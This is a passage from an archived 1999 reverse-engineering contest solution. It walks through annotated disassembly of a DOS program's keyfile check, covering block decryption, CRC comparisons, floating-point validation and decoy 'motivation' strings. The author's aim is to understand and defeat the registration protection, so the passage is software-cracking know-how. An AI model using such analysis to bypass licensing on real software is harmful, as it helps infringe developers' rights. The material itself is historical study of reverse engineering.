87A8:0A5A pop es 87A8:0A5B mov al, es:[di] ; takes encrypted byte 87A8:0A5E xor ah, ah 87A8:0A60 xor ax, dx ; decrypts
it 87A8:0A62 mov dl, al 87A8:0A64 mov di, [bp+arg_0] 87A8:0A67 les di, ss:[di+var_106] 87A8:0A6C mov ax, es
87A8:0A6E push ax 87A8:0A6F mov di, some_counter_for_CRC_calc_word? 87A8:0A73 pop es 87A8:0A74 mov es:[di], dl ;
store it 87A8:0A77 mov ax, some_counter_for_CRC_calc_word? 87A8:0A7A cmp ax, [bp+var_end_offset_of_CRC_calc?] ;
enough ? 87A8:0A7D jnz loc_77A8_A3C For third decryption T uses values 325Ch,0 as seed for "calc_xor_mask1":
87A8:0A7F loc_77A8_A7F: ; CODE XREF: validate_key+638 j 87A8:0A7F mov magic1_for_calc_xor_mask_1_word, 325Ch
87A8:0A85 mov magic2_for_calc_xor_mask_1_word, 0 .... same decrypting ..... For last decryption T uses values 904h,33EEh
as seed for "calc_xor_mask1": 87A8:0AF4 loc_77A8_AF4: ; CODE XREF: validate_key+6AD j 87A8:0AF4 mov
magic1_for_calc_xor_mask_1_word, 904h 87A8:0AFA mov magic2_for_calc_xor_mask_1_word, 33EEh .... same decrypting
..... After decrypting T calcs CRC for decrypted block 4(5b-15e range) and compares it with CRC stored at offsets 15Eh,160h
in decrypted block 4. 87A8:0C04 loc_77A8_C04: ; CODE XREF: validate_key+799 j 87A8:0C04 mov di, [bp+arg_0]
87A8:0C07 les di, ss:[di+var_106] 87A8:0C0C mov ax, es:[di+15Eh] ; take CRC stored in decrypted block 4 87A8:0C11 mov
dx, es:[di+160h] 87A8:0C16 mov di, [bp+arg_0] 87A8:0C19 cmp dx, ss:[di+var_DX_CRC32_MAGIC] ; compare it with just
calculated 87A8:0C1E jnz loc_77A8_C27 87A8:0C20 cmp ax, ss:[di+var_AX_CRC32_MAGIC] 87A8:0C25 jz
loc_77A8_C2D ; CRC ok 87A8:0C27 loc_77A8_C27: ; CODE XREF: validate_key+821 j 87A8:0C27 jmp loc_77A8_22A7 ;
bad keyfile After CRC checked T begins prepare for main check. It takes 32bit CRC values from decrypted block 4, convert it
to real format, change sign if "real" CRC <0. 87A8:0C2D loc_77A8_C2D: ; CODE XREF: validate_key+828 j 87A8:0C2D
mov di, [bp+arg_0] 87A8:0C30 mov ax, ss:[di+var_AX_CRC32_MAGIC] ; take CRC from decrypted 87A8:0C35 mov dx,
ss:[di+var_DX_CRC32_MAGIC] ; block 4 87A8:0C3A call @Real$q7Longint ; convert it to real number 87A8:0C3F mov di,
[bp+arg_0] 87A8:0C42 mov ss:[di+var_temp_AX], ax ; store it to temp var 87A8:0C47 mov ss:[di+var_temp_BX], bx ;
87A8:0C4C mov ss:[di+var_temp_DX], dx ; 87A8:0C51 mov ax, ss:[di+var_temp_AX] 87A8:0C56 mov bx,
ss:[di+var_temp_BX] 87A8:0C5B mov dx, ss:[di+var_temp_DX] 87A8:0C60 xor cx, cx ;0 87A8:0C62 xor si, si 87A8:0C64
xor di, di 87A8:0C66 call @__Cmp$q4Realt1 ; "real" CRC <0 ? 87A8:0C6B jnb loc_77A8_C9E ; no 87A8:0C6D mov di,
[bp+arg_0] ; yes, change sign 87A8:0C70 mov ax, ss:[di+var_temp_AX] 87A8:0C75 mov bx, ss:[di+var_temp_BX]
87A8:0C7A mov dx, ss:[di+var_temp_DX] 87A8:0C7F mov cx, 81h ; '' ; -1 87A8:0C82 xor si, si 87A8:0C84 mov di, 8000h
87A8:0C87 call @$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 87A8:0C8C mov di, [bp+arg_0] 87A8:0C8F mov
ss:[di+var_temp_AX], ax 87A8:0C94 mov ss:[di+var_temp_BX], bx 87A8:0C99 mov ss:[di+var_temp_DX], dx 87A8:0C9E
loc_77A8_C9E: ; CODE XREF: validate_key+86E j 87A8:0C9E mov di, [bp+arg_0] 87A8:0CA1 mov ax,
ss:[di+var_temp_AX] 87A8:0CA6 mov bx, ss:[di+var_temp_BX] 87A8:0CAB mov dx, ss:[di+var_temp_DX] 87A8:0CB0
mov di, [bp+arg_0] 87A8:0CB3 mov ss:[di+var_real_AX_bl4], ax ; store "real" CRC from 87A8:0CB8 mov
ss:[di+var_real_BX_bl4], bx ; decrypted block 4 87A8:0CBD mov ss:[di+var_real_DX_bl4], dx ; to it permanent var ... Add to
"real" CRC 10 and compares this value with "magic" from block5. If they don't = then T sub 10 from "real" CRC of block 4
and again compare this value with "magic" from block5. 87A8:0D10 mov ax, ss:[di+var_real_AX_bl4] ; 87A8:0D15 mov bx,
ss:[di+var_real_BX_bl4] ; 87A8:0D1A mov dx, ss:[di+var_real_DX_bl4] ; 87A8:0D1F mov cx, 84h ; 10 87A8:0D22 xor si, si
87A8:0D24 mov di, 2000h 87A8:0D27 call @$brplu$q4Realt1 ; add 10 87A8:0D2C mov di, [bp+arg_0] 87A8:0D2F mov cx,
ss:[di+var_real_AX_bl5] ;compare value we got after + 87A8:0D34 mov si, ss:[di+var_real_BX_bl5] ; with "magic" from
block 5 87A8:0D39 mov di, ss:[di+var_real_DX_bl5] 87A8:0D3E call @__Cmp$q4Realt1 ; Compare two reals 87A8:0D43 jz
loc_77A8_D7D ; jump if they equal 87A8:0D45 mov di, [bp+arg_0] 87A8:0D48 mov ax, ss:[di+var_real_AX_bl4]
87A8:0D4D mov bx, ss:[di+var_real_BX_bl4] 87A8:0D52 mov dx, ss:[di+var_real_DX_bl4] 87A8:0D57 mov cx, 84h ; 10
87A8:0D5A xor si, si 87A8:0D5C mov di, 2000h 87A8:0D5F call @$brmin$q4Realt1 ; else try to sub 10 87A8:0D64 mov di,

http://www.instinct.org/fravia/99solu/int0com.htm (6 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

[bp+arg_0] 87A8:0D67 mov cx, ss:[di+var_real_AX_bl5] 87A8:0D6C mov si, ss:[di+var_real_BX_bl5] 87A8:0D71 mov di,
ss:[di+var_real_DX_bl5] 87A8:0D76 call @__Cmp$q4Realt1 ; compare again 87A8:0D7B jnz loc_77A8_DC6 ; jump if dont
= 87A8:0D7D loc_77A8_D7D: ; CODE XREF: validate_key+946 j 87A8:0D7D mov di,
[bp+arg_0] ... junk 87A8:0DC4 jmp short
loc_77A8_DF8 7A8:0DC6 loc_77A8_DC6: ; CODE
XREF: validate_key+97E j < 7A8:0DC6 mov di, [bp+arg_0] 7A8:0DC9 mov ax, ss:[di+var_11C] ; this value was set
above in sub 7A8:0DCE mov bx, ss:[di+var_11A] ; it was 57544.23 7A8:0DD3 mov dx, ss:[di+var_118] ; It will be used in
future check 7A8:0DD8 mov cx, 1F8Eh ; 9823.23 7A8:0DDB mov si, 0EB85h ; so if we multiply it here we won't
7A8:0DDE mov di, 197Ch ; bypass next check( I'll explain this later) 7A8:0DE1 call @$brmul$q4Realt1 ; So this is very
smart way to set flag 7A8:0DE6 mov di, [bp+arg_0] 7A8:0DE9 mov ss:[di+var_11C], ax 7A8:0DEE mov ss:[di+var_11A],
bx 7A8:0DF3 mov ss:[di+var_118], dx 7A8:0DF8 7A8:0DF8 loc_77A8_DF8: ; CODE XREF: validate_key+9C7 j
< 7A8:0DF8 mov di, [bp+arg_0] 7A8:0DFB add di, 0FF80h 7A8:0DFF push ss 7A8:0E00 push di 7A8:0E01 mov di,
[bp+arg_0] 7A8:0E04 push ss:[di+var_real_DX_bl5] ; push "magic" from block 5 7A8:0E09 push ss:[di+var_real_BX_bl5] ;
7A8:0E0E push ss:[di+var_real_AX_bl5] ; 7A8:0E13 push ss:[di+var_118] ; flag , by default =57544.23 7A8:0E18 push
ss:[di+var_11A] ; but if "magic" from block 5 doesn't =("real" CRC from block4 + 10) 7A8:0E1D push ss:[di+var_11C] ; and
doesn't=("real" CRC from block4-10) then var118*=9823.23 and 7A8:0E22 push ss:[di+var_real_DX_bl4] ; this won't let us to
bypass next checks 7A8:0E27 push ss:[di+var_real_BX_bl4] ; 7A8:0E2C push ss:[di+var_real_AX_bl4] ; push "real" CRC
from decrypted block 4 7A8:0E31 call j_check_integrity ; here in very tricky way "real" CRC and "magic" compared. This sub
uses many fakes to stop us, it was really mess untill I rewrote math part of this sub in pascal and simplify it - only then I was
able to see which operations were fakes and which were real and used. And whats more funny, there are several decrypted
"motivation" messages in this sub, T decrypts them during other job, doesn't print, only decrypts, its specially made for crackers
which will explore code :)) Just for example: 97E8:16B1 lea di, [bp+var_218] 97E8:16B5 push ss 97E8:16B6 push di
97E8:16B7 lea di, [bp+var_118] 97E8:16BB push ss 97E8:16BC push di 97E8:16BD mov di, offset unk_87E8_F23
97E8:16C0 push cs 97E8:16C1 push di 97E8:16C2 call @$basg$qm6Stringt1 ; Load string 97E8:16C7 mov ax, 8374h
97E8:16CA xor dx, dx 97E8:16CC push dx 97E8:16CD push ax 97E8:16CE mov ax, 0FCEBh 97E8:16D1 mov dx, 0BABEh
97E8:16D4 push dx 97E8:16D5 push ax 97E8:16D6 call decrypt_string_and_verify_it ; "You are a weak lamer...." 97E8:16DB
lea di, [bp+var_CA] 97E8:16DF push ss 97E8:16E0 push di 97E8:16E1 mov ax, 32h ; '2' 97E8:16E4 push ax 97E8:16E5 call
@$basg$qm6Stringt14Byte ; Store string And so on, like "I would not go there if i were you...", "I also HATE debugging
floating point op..", "Why does an inteligent guy like you...", "Wizard your time is running out...", and T even begins to count
seconds left before my death :)) Then it decrypts last one "End of motivation messages.Thank you for support good product...".
Very funny and I must admit that those msgs were really very motivating and helped me not to stop exploring this boring
procedure :) Ok, lets get back to "check_integrity" itself: 97E8:1085 check_integrity proc far ; CODE XREF: j_check_integrity
J ; I include all vars here specially coz I used same vars names in my ; Pascal program 97E8:1085 var_418= byte ptr -418h
97E8:1085 var_318= byte ptr -318h 97E8:1085 var_30C= byte ptr -30Ch 97E8:1085 var_2D0= byte ptr -2D0h 97E8:1085
var_21C= byte ptr -21Ch 97E8:1085 var_218= byte ptr -218h 97E8:1085 var_214= byte ptr -214h 97E8:1085 var_210= byte
ptr -210h 97E8:1085 var_20C= byte ptr -20Ch 97E8:1085 var_20A= byte ptr -20Ah 97E8:1085 var_208= byte ptr -208h
97E8:1085 var_1DC= byte ptr -1DCh 97E8:1085 var_1D0= byte ptr -1D0h 97E8:1085 var_11C= byte ptr -11Ch 97E8:1085
var_118= byte ptr -118h 97E8:1085 var_114= byte ptr -114h 97E8:1085 var_110= byte ptr -110h 97E8:1085 var_10C= byte
ptr -10Ch 97E8:1085 var_10A= byte ptr -10Ah 97E8:1085 var_108= byte ptr -108h 97E8:1085 var_DC= byte ptr -0DCh
97E8:1085 var_D0= byte ptr -0D0h 97E8:1085 var_CB= byte ptr -0CBh 97E8:1085 var_CA= byte ptr -0CAh 97E8:1085
var_96= word ptr -96h 97E8:1085 var_94= word ptr -94h 97E8:1085 var_92= word ptr -92h 97E8:1085 var_90= word ptr -90h
97E8:1085 var_8E= word ptr -8Eh 97E8:1085 var_8C= word ptr -8Ch 97E8:1085 var_AX_bl_4= word ptr -8Ah 97E8:1085
var_BX_bl_4= word ptr -88h 97E8:1085 var_DX_bl_4= word ptr -86h 97E8:1085 var_84= word ptr -84h 97E8:1085 var_82=
word ptr -82h 97E8:1085 var_80= word ptr -80h 97E8:1085 var_7E= word ptr -7Eh 97E8:1085 var_7C= word ptr -7Ch
97E8:1085 var_7A= word ptr -7Ah 97E8:1085 var_Date_AX= word ptr -78h 97E8:1085 var_Date_BX= word ptr -76h
97E8:1085 var_Date_DX= word ptr -74h 97E8:1085 var_X4_AX= word ptr -72h 97E8:1085 var_X4_BX= word ptr -70h
97E8:1085 var_X4_DX= word ptr -6Eh 97E8:1085 var_6C= word ptr -6Ch 97E8:1085 var_6A= word ptr -6Ah 97E8:1085
var_68= word ptr -68h 97E8:1085 var_X5_AX= word ptr -66h 97E8:1085 var_X5_BX= word ptr -64h 97E8:1085
var_X5_DX= word ptr -62h 97E8:1085 var_X3_AX= word ptr -60h 97E8:1085 var_X3_BX= word ptr -5Eh 97E8:1085
var_X3_DX= word ptr -5Ch 97E8:1085 var_AX_bl_5= word ptr -5Ah 97E8:1085 var_AX_bl_5= word ptr -5Ah 97E8:1085
var_BX_bl_5= word ptr -58h 97E8:1085 var_DX_bl_5= word ptr -56h 97E8:1085 var_X2_AX= word ptr -54h 97E8:1085
var_X2_BX= word ptr -52h 97E8:1085 var_X2_DX= word ptr -50h 97E8:1085 var_X1_AX= word ptr -4Eh 97E8:1085
var_X1_BX= word ptr -4Ch 97E8:1085 var_X1_DX= word ptr -4Ah 97E8:1085 var_47= byte ptr -47h 97E8:1085 var_46=
word ptr -46h 97E8:1085 var_44= word ptr -44h 97E8:1085 var_42= word ptr -42h 97E8:1085 var_40= word ptr -40h
97E8:1085 var_3E= word ptr -3Eh 97E8:1085 var_3C= word ptr -3Ch 97E8:1085 var_AX_11c= word ptr -3Ah 97E8:1085

http://www.instinct.org/fravia/99solu/int0com.htm (7 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

var_BX_11c= word ptr -38h 97E8:1085 var_DX_11c= word ptr -36h 97E8:1085 var_34= word ptr -34h 97E8:1085 var_32=
word ptr -32h 97E8:1085 var_30= word ptr -30h 97E8:1085 var_2E= word ptr -2Eh 97E8:1085 var_2C= word ptr -2Ch
97E8:1085 var_2A= word ptr -2Ah 97E8:1085 var_28= word ptr -28h 97E8:1085 var_26= word ptr -26h 97E8:1085 var_24=
word ptr -24h 97E8:1085 var_22= word ptr -22h 97E8:1085 var_20= word ptr -20h 97E8:1085 var_1E= word ptr -1Eh
97E8:1085 var_1C= word ptr -1Ch 97E8:1085 var_1A= word ptr -1Ah 97E8:1085 var_18= word ptr -18h 97E8:1085 var_16=
word ptr -16h 97E8:1085 var_14= word ptr -14h 97E8:1085 var_12= word ptr -12h 97E8:1085 var_10= word ptr -10h
97E8:1085 var_E= word ptr -0Eh 97E8:1085 var_mul_const_AX_1= word ptr -0Ch 97E8:1085 var_mul_const_BX_1= word
ptr -0Ah 97E8:1085 var_mul_const_DX_1= word ptr -8 97E8:1085 var_6= word ptr -6 97E8:1085 var_4= word ptr -4
97E8:1085 var_2= word ptr -2 97E8:1085 arg_AX_bl_4= word ptr 6 97E8:1085 arg_BX_bl_4= word ptr 8 97E8:1085
arg_DX_bl_4= word ptr 0Ah 97E8:1085 arg_AX_11c= word ptr 0Ch 97E8:1085 arg_BX_11c= word ptr 0Eh 97E8:1085
arg_DX_11c= word ptr 10h 97E8:1085 arg_AX_bl_5= word ptr 12h 97E8:1085 arg_BX_bl_5= word ptr 14h 97E8:1085
arg_DX_bl_5= word ptr 16h 97E8:1085 arg_x= dword ptr 18h 97E8:1085 97E8:1085 push bp 97E8:1086 mov bp, sp
97E8:1088 sub sp, 418h 97E8:108C mov byte_192F_23E, 1 97E8:1091 mov al, 1 97E8:1093 push ax 97E8:1094 call
j_get_time_and_some_shet 97E8:1099 mov [bp+var_6], 94h ; look at those MF'ers hehehe 97E8:109E mov [bp+var_4],
0A000h ; this stuff = 666666.0 97E8:10A3 mov [bp+var_2], 22C2h 97E8:10A8 mov ax, [bp+var_6] ; init a lot of vars
97E8:10AB mov bx, [bp+var_4] ; with 666666.0 97E8:10AE mov dx, [bp+var_2] 97E8:10B1 mov
[bp+var_mul_const_AX_1], ax 97E8:10B4 mov [bp+var_mul_const_BX_1], bx 97E8:10B7 mov [bp+var_mul_const_DX_1],
dx 97E8:10BA mov ax, [bp+var_6] 97E8:10BD mov bx, [bp+var_4] 97E8:10C0 mov dx, [bp+var_2] 97E8:10C3 mov
[bp+var_12], ax 97E8:10C6 mov [bp+var_10], bx 97E8:10C9 mov [bp+var_E], dx .... and so on Then go a lot of floating point
operations. I included almost all of them here. After that I included my program in Pascal which emulates work of math part of
this sub. 97E8:13D0 ; check_integrity+318 j 97E8:13D0 mov [bp+var_6], 0B95h 97E8:13D5 mov [bp+var_4], 7622h ;
1559918.7666 97E8:13DA mov [bp+var_2], 3E6Bh 97E8:13DF mov ax, [bp+arg_AX_bl_4] ; 97E8:13E2 mov bx,
[bp+arg_BX_bl_4] ; 97E8:13E5 mov dx, [bp+arg_DX_bl_4] ; 97E8:13E8 mov [bp+var_AX_bl_4], ax 97E8:13EC mov
[bp+var_BX_bl_4], bx 97E8:13F0 mov [bp+var_DX_bl_4], dx ..... 97E8:1428 call @$basg$qm6Stringt14Byte ; Store string
97E8:142D mov ax, 0DA95h ; 1485845.7817 97E8:1430 mov bx, 0AE40h 97E8:1433 mov dx, 3560h 97E8:1436 mov cx,
[bp+var_6] ; 1559918.7666 97E8:1439 mov si, [bp+var_4] 97E8:143C mov di, [bp+var_2] 97E8:143F call @$brmul$q4Realt1
; mul them = 2317798719100.0 97E8:1444 mov cx, 508Ch ; and mul them on 2313.412 = 97E8:1447 mov si, 978Dh
97E8:144A mov di, 1096h 97E8:144D call @$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:1452 mov cx,
[bp+var_12] ; and mul them on 666666.0 = 97E8:1455 mov si, [bp+var_10] 97E8:1458 mov di, [bp+var_E] 97E8:145B call
@$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:1460 mov [bp+var_mul_const_AX_1], ax 97E8:1463 mov
[bp+var_mul_const_BX_1], bx 97E8:1466 mov [bp+var_mul_const_DX_1], dx 97E8:1469 mov [bp+var_X1_AX], 0E8Ch ;
2738.231 97E8:146E mov [bp+var_X1_BX], 0B22Dh 97E8:1473 mov [bp+var_X1_DX], 2B23h 97E8:1478 mov
[bp+var_X4_AX], 508Ch ; 2313.412 97E8:147D mov [bp+var_X4_BX], 978Dh ; -|-|- 97E8:1482 mov [bp+var_X4_DX],
1096h ; -|-|- 97E8:1487 mov [bp+var_X2_AX], 0C98Eh ; 9823.436 97E8:148C mov [bp+var_X2_BX], 0BE76h 97E8:1491
mov [bp+var_X2_DX], 197Dh .... 97E8:14CF mov [bp+var_X3_AX], 6D8Dh ; 7863.123 97E8:14D4 mov [bp+var_X3_BX],
0FBE7h 97E8:14D9 mov [bp+var_X3_DX], 75B8h 97E8:14DE mov [bp+var_X5_AX], 0BE8Ch ; 2313.444 97E8:14E3 mov
[bp+var_X5_BX], 1A9Fh 97E8:14E8 mov [bp+var_X5_DX], 1097h 97E8:14ED mov ax, [bp+arg_AX_11c] ; 97E8:14F0 mov
bx, [bp+arg_BX_11c] ; 97E8:14F3 mov dx, [bp+arg_DX_11c] ; 97E8:14F6 mov [bp+var_AX_11c], ax 97E8:14F9 mov
[bp+var_BX_11c], bx 97E8:14FC mov [bp+var_DX_11c], dx 97E8:14FF mov [bp+var_22], 666Fh 97E8:1504 mov
[bp+var_20], 0FFFFh 97E8:1509 mov ax, [bp+arg_AX_bl_5] ; 97E8:150C mov bx, [bp+arg_BX_bl_5] ; 97E8:150F mov dx,
[bp+arg_DX_bl_5] ; 97E8:1512 mov [bp+var_AX_bl_5], ax 97E8:1515 mov [bp+var_BX_bl_5], bx 97E8:1518 mov
[bp+var_DX_bl_5], dx 97E8:151B mov [bp+var_12], 0BF94h ; 989856.94159 97E8:1520 mov [bp+var_10], 0F10h ...
97E8:1564 mov ax, [bp+var_AX_bl_4] ; here we mul values from block4 with 97E8:1568 mov bx, [bp+var_BX_bl_4]
97E8:156C mov dx, [bp+var_DX_bl_4] 97E8:1570 mov cx, [bp+var_X4_AX] ; 508c 97E8:1573 mov si, [bp+var_X4_BX] ;
978d 97E8:1576 mov di, [bp+var_X4_DX] ; 1096 97E8:1579 call @$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI)
97E8:157E mov cx, [bp+var_AX_bl_5] ; then sub values from block 5 97E8:1581 mov si, [bp+var_BX_bl_5] 97E8:1584 mov
di, [bp+var_DX_bl_5] 97E8:1587 call @$brmin$q4Realt1 ; Real(AX:BX:DX)-=Real(CX:SI:DI) 97E8:158C mov
[bp+var_AX_bl_4], ax ; save results 97E8:1590 mov [bp+var_BX_bl_4], bx 97E8:1594 mov [bp+var_DX_bl_4], dx
97E8:1598 mov ax, 392h ; 235845.76666 97E8:159B mov bx, 7111h 97E8:159E mov dx, 6651h 97E8:15A1 mov cx,
[bp+var_X4_AX] ; constants 97E8:15A4 mov si, [bp+var_X4_BX] 97E8:15A7 mov di, [bp+var_X4_DX] 97E8:15AA call
@$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:15AF mov cx, [bp+arg_AX_bl_4] ; again use values from
block 4 97E8:15B2 mov si, [bp+arg_BX_bl_4] 97E8:15B5 mov di, [bp+arg_DX_bl_4] 97E8:15B8 call @$brmul$q4Realt1 ;
Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:15BD mov [bp+var_18], ax 97E8:15C0 mov [bp+var_16], bx 97E8:15C3 mov
[bp+var_14], dx 97E8:15C6 mov ax, 4890h ; 44545.781666 97E8:15C9 mov bx, 0C81Bh 97E8:15CC mov dx, 2E01h
97E8:15CF mov cx, [bp+var_18] 97E8:15D2 mov si, [bp+var_16] 97E8:15D5 mov di, [bp+var_14] 97E8:15D8 call

http://www.instinct.org/fravia/99solu/int0com.htm (8 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

@$brdiv$q4Realt1 ; Real(AX:BX:DX)/=Real(CX:SI:DI) 97E8:15D8 ; Real(CX:SI:DI)=Real(AX:BX:DX)%Real(CX:SI:DI)


97E8:15DD mov cx, [bp+var_mul_const_AX_1] 97E8:15E0 mov si, [bp+var_mul_const_BX_1] 97E8:15E3 mov di,
[bp+var_mul_const_DX_1] 97E8:15E6 call @$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:15EB mov cx,
[bp+var_12] 97E8:15EE mov si, [bp+var_10] 97E8:15F1 mov di, [bp+var_E] 97E8:15F4 call @$brplu$q4Realt1 ;
Real(AX:BX:DX)+=Real(CX:SI:DI) 97E8:15F9 mov [bp+var_1E], ax 97E8:15FC mov [bp+var_1C], bx 97E8:15FF mov
[bp+var_1A], dx 97E8:1602 mov ax, [bp+var_6] 97E8:1605 mov bx, [bp+var_4] 97E8:1608 mov dx, [bp+var_2] 97E8:160B
mov cx, [bp+var_AX_bl_4] 97E8:160F mov si, [bp+var_BX_bl_4] 97E8:1613 mov di, [bp+var_DX_bl_4] 97E8:1617 call
@$brplu$q4Realt1 ; Real(AX:BX:DX)+=Real(CX:SI:DI) 97E8:161C mov cx, [bp+var_18] 97E8:161F mov si, [bp+var_16]
97E8:1622 mov di, [bp+var_14] 97E8:1625 call @__Cmp$q4Realt1 ; Compare two reals 97E8:162A ja loc_87E8_164E ;
97E8:162C mov ax, [bp+var_18] 97E8:162F mov bx, [bp+var_16] 97E8:1632 mov dx, [bp+var_14] 97E8:1635 mov cx,
[bp+var_1E] 97E8:1638 mov si, [bp+var_1C] 97E8:163B mov di, [bp+var_1A] 97E8:163E call @$brplu$q4Realt1 ;
Real(AX:BX:DX)+=Real(CX:SI:DI) 97E8:1643 mov [bp+var_2E], ax 97E8:1646 mov [bp+var_2C], bx 97E8:1649 mov
[bp+var_2A], dx 97E8:164C jmp short loc_87E8_168A 97E8:164E ;
97E8:164E
loc_87E8_164E: ; CODE XREF: check_integrity+5A5 j 97E8:164E mov ax, [bp+var_mul_const_AX_1] 97E8:1651 mov bx,
[bp+var_mul_const_BX_1] 97E8:1654 mov dx, [bp+var_mul_const_DX_1] 97E8:1657 mov cx, [bp+var_18] 97E8:165A mov
si, [bp+var_16] 97E8:165D mov di, [bp+var_14] 97E8:1660 call @$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI)
97E8:1665 mov cx, [bp+var_X4_AX] 97E8:1668 mov si, [bp+var_X4_BX] 97E8:166B mov di, [bp+var_X4_DX] 97E8:166E
call @$brmin$q4Realt1 ; Real(AX:BX:DX)-=Real(CX:SI:DI) 97E8:1673 mov cx, [bp+arg_AX_bl_4] 97E8:1676 mov si,
[bp+arg_BX_bl_4] 97E8:1679 mov di, [bp+arg_DX_bl_4] 97E8:167C call @$brplu$q4Realt1 ;
Real(AX:BX:DX)+=Real(CX:SI:DI) 97E8:1681 mov [bp+var_mul_const_AX_1], ax 97E8:1684 mov
[bp+var_mul_const_BX_1], bx 97E8:1687 mov [bp+var_mul_const_DX_1], dx 97E8:168A 97E8:168A loc_87E8_168A: ;
CODE XREF: check_integrity+5C7 j 97E8:168A mov ax, 0E925h 97E8:168D push ax 97E8:168E call @Random$q4Word ;
Random(range: Word): Word{AX} 97E8:1693 xor dx, dx 97E8:1695 call @Real$q7Longint ; Real(x: Longint{DX:AX}): Real
97E8:169A mov cx, [bp+var_1E] 97E8:169D mov si, [bp+var_1C] 97E8:16A0 mov di, [bp+var_1A] 97E8:16A3 call
@$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:16A8 mov [bp+var_6C], ax 97E8:16AB mov [bp+var_6A],
bx 97E8:16AE mov [bp+var_68], dx .... 97E8:16EA mov ax, [bp+var_AX_11c] 97E8:16ED mov bx, [bp+var_BX_11c]
97E8:16F0 mov dx, [bp+var_DX_11c] 97E8:16F3 mov cx, 0CD91h ; 89873.12948 97E8:16F6 mov si, 9092h 97E8:16F9 mov
di, 2F88h 97E8:16FC call @__Cmp$q4Realt1 ; Compare two reals 97E8:1701 jbe loc_87E8_1712 ; no jump for our kf
97E8:1703 mov [bp+var_X4_AX], 0F494h ; 876478.312 97E8:1708 mov [bp+var_X4_BX], 0E4FDh 97E8:170D mov
[bp+var_X4_DX], 55FBh 97E8:1712 97E8:1712 loc_87E8_1712: ; CODE XREF: check_integrity+67C j 97E8:1712 mov ax,
[bp+var_AX_bl_4] 97E8:1716 mov bx, [bp+var_BX_bl_4] 97E8:171A mov dx, [bp+var_DX_bl_4] 97E8:171E mov cx,
[bp+var_X4_AX] 97E8:1721 mov si, [bp+var_X4_BX] 97E8:1724 mov di, [bp+var_X4_DX] 97E8:1727 call
@$brmul$q4Realt1 ; Real(AX:BX:DX)*=Real(CX:SI:DI) 97E8:172C mov cx, [bp+arg_AX_bl_4] 97E8:172F mov si,
[bp+arg_BX_bl_4] 97E8:1732 mov di, [bp+arg_DX_bl_4] 97E8:1735 call @$brmin$q4Realt1 ;
Real(AX:BX:DX)-=Real(CX:SI:DI) 97E8:173A mov [bp+var_AX_bl_5], ax 97E8:173D mov [bp+var_BX_bl_5], bx
97E8:1740 mov [bp+var_DX_bl_5], dx 97E8:1743 mov ax, [bp+var_AX_bl_5] 97E8:1746 mov bx, [bp+var_BX_bl_5]
97E8:1749 mov dx, [bp+var_DX_bl_5] 97E8:174C mov [bp+var_X2_AX], ax 97E8:174F mov [bp+var_X2_BX], bx
97E8:1752 mov [bp+var_X2_DX], dx ... After this goes some kind of CRC check on terminat.exe which will stop only if
several conditions will be true: 97E8:1ADC loc_87E8_1ADC: ; CODE XREF: check_integrity+A42 j 97E8:1ADC ;
check_integrity+A4B j check_integrity+A52 j 97E8:1ADC mov ax, [bp+var_X1_AX] 97E8:1ADF mov bx, [bp+var_X1_BX]
97E8:1AE2 mov dx, [bp+var_X1_DX] 97E8:1AE5 mov cx, 0DB94h ; 553745.561 97E8:1AE8 mov si, 18F9h 97E8:1AEB
mov di, 731h 97E8:1AEE call @__Cmp$q4Realt1 ; Compare two reals 97E8:1AF3 jb loc_87E8_1AF8 ; we must bypass all
checks here in order to 97E8:1AF5 jmp loc_87E8_191C ; return from this sub 97E8:1AF8 ;

97E8:1AF8 loc_87E8_1AF8: ; CODE XREF: check_integrity+A6E j 97E8:1AF8 mov ax, [bp+var_X2_AX] 97E8:1AFB mov
bx, [bp+var_X2_BX] 97E8:1AFE mov dx, [bp+var_X2_DX] 97E8:1B01 mov cx, 358Dh ; 7823.466 97E8:1B04 mov si,
0BA5Eh 97E8:1B07 mov di, 747Bh 97E8:1B0A call @__Cmp$q4Realt1 ; Compare two reals 97E8:1B0F ja loc_87E8_1B14
97E8:1B11 jmp loc_87E8_191C ; back to check integrity on terminat.exe 97E8:1B14 ;

97E8:1B14 loc_87E8_1B14: ; CODE XREF: check_integrity+A8A j 97E8:1B14 mov ax, [bp+var_X3_AX] 97E8:1B17 mov
bx, [bp+var_X3_BX] 97E8:1B1A mov dx, [bp+var_X3_DX] 97E8:1B1D mov cx, 9C94h ; 587863.173 97E8:1B20 mov si,
72C4h 97E8:1B23 mov di, 0F85h 97E8:1B26 call @__Cmp$q4Realt1 ; Compare two reals 97E8:1B2B jb loc_87E8_1B30
97E8:1B2D jmp loc_87E8_191C 97E8:1B30 ;

http://www.instinct.org/fravia/99solu/int0com.htm (9 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

97E8:1B30 loc_87E8_1B30: ; CODE XREF: check_integrity+AA6 j 97E8:1B30 mov ax, [bp+var_X4_AX] 97E8:1B33 mov
bx, [bp+var_X4_BX] 97E8:1B36 mov dx, [bp+var_X4_DX] 97E8:1B39 mov cx, 5294h ; 575498.545 97E8:1B3C mov si,
0A8B8h 97E8:1B3F mov di, 0C80h 97E8:1B42 call @__Cmp$q4Realt1 ; Compare two reals 97E8:1B47 jb loc_87E8_1B4C
97E8:1B49 jmp loc_87E8_191C 97E8:1B4C ;

97E8:1B4C loc_87E8_1B4C: ; CODE XREF: check_integrity+AC2 j 97E8:1B4C mov ax, [bp+var_X5_AX] 97E8:1B4F mov
bx, [bp+var_X5_BX] 97E8:1B52 mov dx, [bp+var_X5_DX] 97E8:1B55 mov cx, 8B8Ch ; 2213.494 97E8:1B58 mov si,
